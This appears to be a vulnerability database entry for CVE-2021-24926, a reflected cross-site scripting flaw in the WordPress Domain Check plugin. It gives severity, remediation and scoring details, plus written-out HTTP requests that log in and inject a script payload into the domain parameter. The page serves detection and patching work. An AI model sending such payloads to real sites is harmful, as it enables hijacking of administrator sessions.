🔙 목록으로 돌아가기

CVE-2021-24926: WordPress Domain Check <1.0.17 - Cross-Site Scripting

TitleWordPress Domain Check <1.0.17 - Cross-Site Scripting
Authorcckuailong
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS in the domain parameter, potentially stealing administrator session cookies or performing administrative actions.
RemediationUpdate to WordPress Domain Check plugin version 1.0.17 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.09793
CVE IDCVE-2021-24926
CWE IDCWE-79
Tags cve cve2021 wpscan xss wp wordpress wp-plugin authenticated domaincheckplugin vuln

🔍 Vulnerability Description

WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=YJ5jGH&pwd=eW8dyP&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24926.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24926.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A